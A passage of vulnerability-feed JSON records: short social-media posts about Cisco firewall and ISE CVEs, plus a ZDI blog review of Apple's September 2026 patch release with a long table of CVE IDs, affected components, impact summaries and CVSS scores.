"2026-09-16T23:20:06.051487Z"}, {"uuid": "18eaff34-ba92-454d-b60d-eed944180206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20329", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvoboaznx42b", "content": "CVE-2026-20329\nCisco's Adaptive Security Appliance, Firewall Threat Defense, and Firewall Management Center programs contain several internal coding errors that could cause unexpected behavior when unusual conditions arise.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T23:20:08.895438Z"}, {"uuid": "a8b4d465-30ab-45d5-aae9-5c47f763acbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20330", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvoca2fwtu2t", "content": "CVE-2026-20330\nCisco\u2019s Adaptive Security Appliance, Firewall Threat Defense, and Management Center software contain several internal coding mistakes that could let an attacker interfere with how the system processes\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T23:30:05.769861Z"}, {"uuid": "39f495e1-6c97-4df8-b34c-fbe0e973861e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20284", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvoca4x5ii24", "content": "CVE-2026-20284 - cisco identity services engine software\nThe Cisco Identity Services Engine\u2019s SXP REST interface can be tricked into running unintended database commands if a user with valid admin credentials sends\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T23:30:08.087297Z"}, {"uuid": "6250b95a-77b6-49d9-95b9-b79550f9199f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20332", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvocrxifam25", "content": "CVE-2026-20332 - cisco secure firewall adaptive security appliance (asa) software\nCisco's Secure Adaptive Security Appliance, Secure Firewall Threat Defense, and Secure Firewall Management Center can incorrectly\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T23:40:07.272708Z"}, {"uuid": "a3768fd3-946a-4b08-b237-2eb704665642", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/CyberDispatch/2896", "content": "Three threat clusters exploited Cisco FMC flaws to steal credentials, deploy Cyclops Blink, and push Qilin ransomware.\n\nBoth flaws are now in CISA\u2019s KEV catalog. Federal agencies must patch CVE-2026-20079 by September 12.", "creation_timestamp": "2026-09-17T01:00:05.292286Z"}, {"uuid": "450238b4-6de1-4ac8-bd52-b50732385b4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20683", "type": "seen", "source": "https://www.thezdi.com/blog/2026/9/16/the-apple-security-update-review-for-september-2026", "content": "Welcome back to our monthly look at Apple security patches. This release shows Apple is not immune to the new normal of AI-assisted vulnerability discovery as they release patches for 273 total CVEs.\nFor the September 2026 release, Apple released 273 unique CVEs across macOS 27 (Golden Gate), macOS Sequoia 15.8, macOS Tahoe 26.7, iOS / iPadOS 27, visionOS 27, watchOS 27, tvOS 27, iOS / iPadOS 26.7, Safari 27, and Xcode 27. This patch release actually happened a couple of days ago, but since Apple doesn\u2019t provide CVSS scores or other severity information, it takes a couple of days to understand the full severity. Even with the additional time, there are many CVEs without a severity score. However, looking at the one that do have severity assigned by NVD or CISA-ADP, there are a few that truly stand out, including one under active exploit.\nCVE-2026-65400 \u2014 Screen Sharing Server (9.8 CRITICAL, \u26a0 CISA KEV).  This bug is confirmed by CISA to be actively exploited. A network attacker can authenticate to Screen Sharing without valid credentials, without user interaction. This component was first patched on August 6 and relisted in v27 as macOS 27/Tahoe 26.7 now carries the fix.\nCVE-2026-65414 \u2014 Bluetooth (9.8 CRITICAL). This is the highest-scored non-exploited bug in the release. It\u2019s remote, network-vector arbitrary code execution with no privileges or interaction, and CISA tagged it \"automatable: yes, technical impact: total.\" It spans all eight OS platforms, which is the broadest-reach critical vulnerability in the release and the most likely candidate to become a KEV entry.\nCVE-2026-65346 \u2014 ImageIO (8.8 HIGH).  The bug sits at the top of the HIGH tier and is the most dangerous remote content bug: processing a malicious image leads to arbitrary code execution. ImageIO is the canonical zero-/one-click surface (images auto-rendered in Messages, previews), so it carries high real-world weaponization potential.\nTwo honorable mentions that matter because of a data caveat: CVE-2026-84607 (AVEVideoEncoder) \u2014 a sandbox-to-kernel arbitrary-code-execution bug \u2014 and CVE-2026-43790 (Kernel) \u2014 remote kernel memory corruption \u2014 are arguably more severe by impact than #3, but NVD hasn't scored either yet (both TBD), so they don't rank on the current evidence. Also worth noting: CVE-2026-43692 (CUPS) remote code execution and CVE-2026-84568 (autofs) root RCE both sit at the top of the HIGH band.\nHere\u2019s the full table of Apple patches and the products they affect:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\nApple Security Updates \u2014 September 14, 2026 (v27)\n\n\n    \n      273Total CVEs\n      134Scored\n      139TBD\n      2CRITICAL\n      46HIGH\n      84MEDIUM\n      2LOW\n    \n    \nCVSS is the NVD primary score where available, otherwise CISA-ADP secondary; TBD = NVD has not scored it yet (most v27 CVEs are still under analysis). \u26a0 KEV marks CVEs in CISA's Known Exploited Vulnerabilities catalog.\n    \n    \n\n      Apple security release — September 14, 2026 (version 27), 273 CVEs. CVSS/Severity from NVD (National Vulnerability Database) as of Sept 16, 2026. CVE IDs link to NVD. \"Yes/No\" indicates whether each update is affected.\n      \n          CVE IDComponentImpactCVSSSeverity\n          iOS / iPadOS 27\n          iOS / iPadOS 26.7\n          macOS 27 (Golden Gate)\n          macOS Tahoe 26.7\n          macOS Sequoia 15.8\n          tvOS 27\n          watchOS 27\n          visionOS 27\n          Safari 27\n          Xcode 27\n      \n      \n      \n        CVE-2026-65400\n        Screen Sharing Server\n        An attacker on the network may be able to authenticate to Screen Sharing without valid credentials\n        9.8\u26a0 KEV CRITICAL\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65414\n        Bluetooth\n        A remote attacker may be able to cause unexpected app termination or arbitrary code execution\n        9.8CRITICAL\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43692\n        CUPS\n        A remote user may cause an unexpected app termination or arbitrary code execution\n        8.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65346\n        ImageIO\n        Processing an image may lead to arbitrary code execution\n        8.8HIGH\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-43686\n        Kernel\n        Connecting to a malicious NFS server may lead to kernel memory corruption\n        8.8HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65374\n        WebDAV\n        Connecting to a malicious WebDAV server may result in code execution\n        8.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43715\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43794\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65390\n        WebRTC\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65391\n        WebRTC\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-43760\n        Screen Sharing Server\n        An app may be able to access user-sensitive data\n        8.6HIGH\n        NoNoNoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-84581\n        HFS\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        8.4HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84535\n        Automator\n        An app may be able to break out of its sandbox\n        8.2HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84516\n        CUPS\n        Processing a maliciously crafted file may result in unexpected app termination or disclosure of process memory\n        8.1HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65415\n        Kernel\n        A local user may be able to cause unexpected system termination or read kernel memory\n        8.1HIGH\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84568\n        autofs\n        An attacker with control of a network directory server may be able to execute arbitrary code with root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84607\n        AVEVideoEncoder\n        A sandboxed app may be able to execute arbitrary code with kernel privileges\n        7.8HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84631\n        Bluetooth\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43786\n        CoreServices\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84575\n        CoreUI\n        Processing a maliciously crafted file may lead to unexpected app termination\n        7.8HIGH\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43691\n        CUPS\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43698\n        CUPS\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-84505\n        Directory Utility\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65362\n        Disk Images\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64758\n        ImageIO\n        Processing a maliciously crafted file may lead to unexpected app termination\n        7.8HIGH\n        NoYesNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43684\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        7.8HIGH\n        NoYesYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43689\n        Kernel\n        A malicious app may be able to gain root privileges\n        7.8HIGH\n        YesYesYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-86917\n        Kernel\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64712\n        odproxyd\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84515\n        SMB\n        Connecting to a malicious SMB server may lead to kernel memory corruption\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84506\n        udf\n        An app may be able to execute arbitrary code with kernel privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64761\n        Accessibility\n        An app may be able to identify what other apps a user has installed\n        7.5HIGH\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86895\n        CloudKit\n        A local app may be able to read a persistent account identifier\n        7.5HIGH\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84563\n        CUPS\n        An app may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84606\n        iCloud\n        An app may be able to identify a user across reinstalls\n        7.5HIGH\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43661\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        7.5HIGH\n        NoYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-28969\n        IOKit\n        An app may be able to cause unexpected system termination\n        7.5HIGH\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65343\n        Kernel\n        A remote attacker may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65364\n        Kernel\n        A remote attacker may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86894\n        libxpc\n        An app may be able to break out of its sandbox\n        7.5HIGH\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84543\n        SMB\n        Connecting to a malicious SMB server may cause unexpected system termination or corrupt kernel memory\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84553\n        smbx\n        A remote attacker may be able to cause a denial-of-service\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28930\n        Spotlight\n        An app may be able to access protected user data\n        7.5HIGH\n        NoNoNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-86904\n        Watch App\n        An app may be able to track users across apps and websites without permission\n        7.5HIGH\n        YesYesNoNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-64752\n        CoreMedia\n        Processing a maliciously crafted image may lead to arbitrary code execution\n        7.3HIGH\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-84611\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        7.3HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84632\n        SceneKit\n        Processing a maliciously crafted 3D model may lead to memory corruption\n        7.3HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-64736\n        IOMobileFrameBuffer\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        7.1HIGH\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-65349\n        Kernel\n        An app may be able to cause unexpected system termination or read kernel memory\n        6.6MEDIUM\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84537\n        SMB\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        6.6MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43788\n        Spotlight\n        Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents\n        6.6MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86882\n        Accelerate Framework\n        Processing a maliciously crafted image may lead to unexpected process termination\n        6.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84519\n        AppleDouble\n        Mounting a disk image with maliciously crafted files may lead to unexpected system termination\n        6.5MEDIUM\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86879\n        Baseband\n        A remote attacker may be able to cause a denial-of-service\n        6.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86885\n        Baseband\n        An attacker in radio range may be able to cause unexpected system termination\n        6.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65412\n        CoreText\n        Processing web content may lead to a denial-of-service\n        6.5MEDIUM\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-84596\n        CoreText\n        Processing a maliciously crafted font may result in the disclosure of process memory\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84597\n        FontParser\n        Processing a maliciously crafted font may result in the disclosure of process memory\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2022-3437\n        Heimdal\n        A user in a privileged network position may be able to leak sensitive user information\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28934\n        HFS\n        Mounting a malicious disk image may cause unexpected system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65347\n        ImageIO\n        Processing an image may lead to a denial-of-service\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65395\n        ImageIO\n        Processing a maliciously crafted image may result in memory corruption\n        6.5MEDIUM\n        YesYesYesYesYesYesNoYesNoNo\n      \n      \n        CVE-2026-43687\n        Kernel\n        Connecting to a malicious NFS server may disclose kernel memory\n        6.5MEDIUM\n        YesYesYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-65330\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        6.5MEDIUM\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-84538\n        Kernel\n        A remote attacker may be able to cause a denial-of-service\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84588\n        Kernel\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        6.5MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84487\n        SceneKit\n        Processing a maliciously crafted file may result in disclosure of process memory\n        6.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43719\n        SMB\n        Mounting a maliciously crafted SMB network share may lead to system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65365\n        SMB\n        Connecting to a malicious SMB share may disclose kernel memory\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84536\n        SMB\n        Connecting to a malicious SMB server may lead to unexpected system termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43677\n        WebDAV\n        Connecting to a malicious WebDAV server may lead to unexpected app termination\n        6.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64715\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process crash\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64753\n        WebKit\n        Processing maliciously crafted web content may disclose sensitive user information\n        6.5MEDIUM\n        YesNoYesNoNoYesYesYesYesNo\n      \n      \n        CVE-2026-64787\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected process termination\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-64778\n        WebKit History\n        Visiting a maliciously crafted website may leak sensitive data\n        6.5MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84560\n        Bluetooth\n        An app may gain unauthorized access to Bluetooth\n        6.1MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84619\n        Kernel\n        An app may be able to cause unexpected system termination or write kernel memory\n        6.1MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84554\n        CUPS\n        An attacker in a privileged network position may be able to cause a denial-of-service\n        5.9MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43664\n        Accessibility\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-65404\n        Accounts\n        A malicious application may be able to bypass Privacy preferences\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84523\n        APFS\n        An app may be able to cause unexpected system termination or write kernel memory\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84586\n        Apple Account\n        A malicious application may be able to leak sensitive user information\n        5.5MEDIUM\n        NoNoYesNoNoNoYesNoNoNo\n      \n      \n        CVE-2026-65407\n        AppleAVD\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84593\n        AppleKeyStore\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43763\n        ATS\n        An app may be able to read files outside of its sandbox\n        5.5MEDIUM\n        NoNoNoYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86905\n        Authentication Services\n        An app may be able to delete credentials stored in Keychain\n        5.5MEDIUM\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43737\n        CoreMotion\n        An app may be able to access motion data from headphones without user consent\n        5.5MEDIUM\n        YesYesYesYesYesYesYesNoNoNo\n      \n      \n        CVE-2026-43738\n        CoreUI\n        Processing a maliciously crafted asset catalog may result in disclosure of process memory\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84489\n        CoreUI\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        YesNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-84534\n        file_cmds\n        Extracting a maliciously crafted archive may allow an attacker to write arbitrary files\n        5.5MEDIUM\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-65409\n        Foundation\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-64756\n        Image Capture\n        An app may be able to access user-sensitive data\n        5.5MEDIUM\n        YesNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64760\n        IOSurfaceAccelerator\n        An app may be able to leak sensitive kernel state\n        5.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65401\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65402\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65405\n        Kernel\n        An app may be able to determine kernel memory layout\n        5.5MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84517\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84521\n        Kernel\n        An app may be able to cause unexpected system termination\n        5.5MEDIUM\n        YesYesYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-86903\n        Kernel\n        An app may be able to disclose kernel memory\n        5.5MEDIUM\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-86883\n        Managed Configuration\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43741\n        Messages\n        An app may be able to access protected user data\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84491\n        Photos Storage\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84576\n        QuartzCore\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84555\n        Sandbox\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-65413\n        SceneKit\n        An app may be able to cause a denial of service\n        5.5MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-28937\n        Terminal\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-64718\n        WebKit Canvas\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        5.5MEDIUM\n        YesYesYesNoNoNoNoYesYesNo\n      \n      \n        CVE-2026-65393\n        Xcode IDE\n        An app may be able to access user-sensitive data\n        5.5MEDIUM\n        NoNoYesNoNoNoNoNoNoYes\n      \n      \n        CVE-2026-84617\n        XPC\n        An app may be able to access sensitive user data\n        5.5MEDIUM\n        YesYesYesYesYesYesNoNoNoNo\n      \n      \n        CVE-2026-64788\n        IOGPUFamily\n        Processing maliciously crafted web content may lead to memory corruption\n        5.4MEDIUM\n        NoNoNoNoNoNoYesYesNoNo\n      \n      \n        CVE-2026-65341\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        5.4MEDIUM\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-34979\n        CUPS\n        An attacker in a privileged network position may be able to cause a denial-of-service\n        5.3MEDIUM\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86876\n        CoreMedia\n        A sandboxed process may be able to circumvent sandbox restrictions\n        5.2MEDIUM\n        YesYesYesYesYesNoYesYesNoNo\n      \n      \n        CVE-2026-86889\n        Security\n        An attacker in a privileged network position may be able to intercept network traffic\n        4.8MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84492\n        Graphics\n        An app may be able to cause unexpected system termination\n        4.7MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84630\n        Kernel\n        An app may be able to cause unexpected system termination\n        4.7MEDIUM\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43690\n        SMB\n        A local user may be able to read kernel memory\n        4.7MEDIUM\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84518\n        Safari\n        A malicious website may be able to determine what apps a user has installed\n        4.3MEDIUM\n        YesNoYesNoNoNoNoNoYesNo\n      \n      \n        CVE-2026-43795\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64780\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64781\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64784\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65331\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65332\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65333\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65334\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65335\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65336\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65337\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65338\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65340\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-65351\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        4.3MEDIUM\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64782\n        WebKit\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        3.1LOW\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-64779\n        WebKit Storage\n        Processing maliciously crafted web content may lead to an unexpected Safari crash\n        3.1LOW\n        NoNoNoNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-86910\n        APFS\n        An application may be able to access restricted files\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-86888\n        App Store\n        A local app may be able to read a persistent account identifier\n        TBDTBD\n        YesNoYesYesNoYesYesYesNoNo\n      \n      \n        CVE-2026-84587\n        AppKit\n        An app may be able to access protected user data\n        TBDTBD\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-20683\n        Apple Account\n        An app may be able to use the Sign In With Apple authentication flow to access the user's Apple Account\n        TBDTBD\n        YesNoYesYesYesNoNoYesNoNo\n      \n      \n        CVE-2026-84601\n        Apple Intelligence\n        An app may be able to bypass Apple Intelligence security prompts\n        TBDTBD\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-65408\n        Apple Neural Engine\n        An app may be able to cause unexpected system termination\n        TBDTBD\n        YesYesYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84520\n        AppleFDEKeyStore\n        A 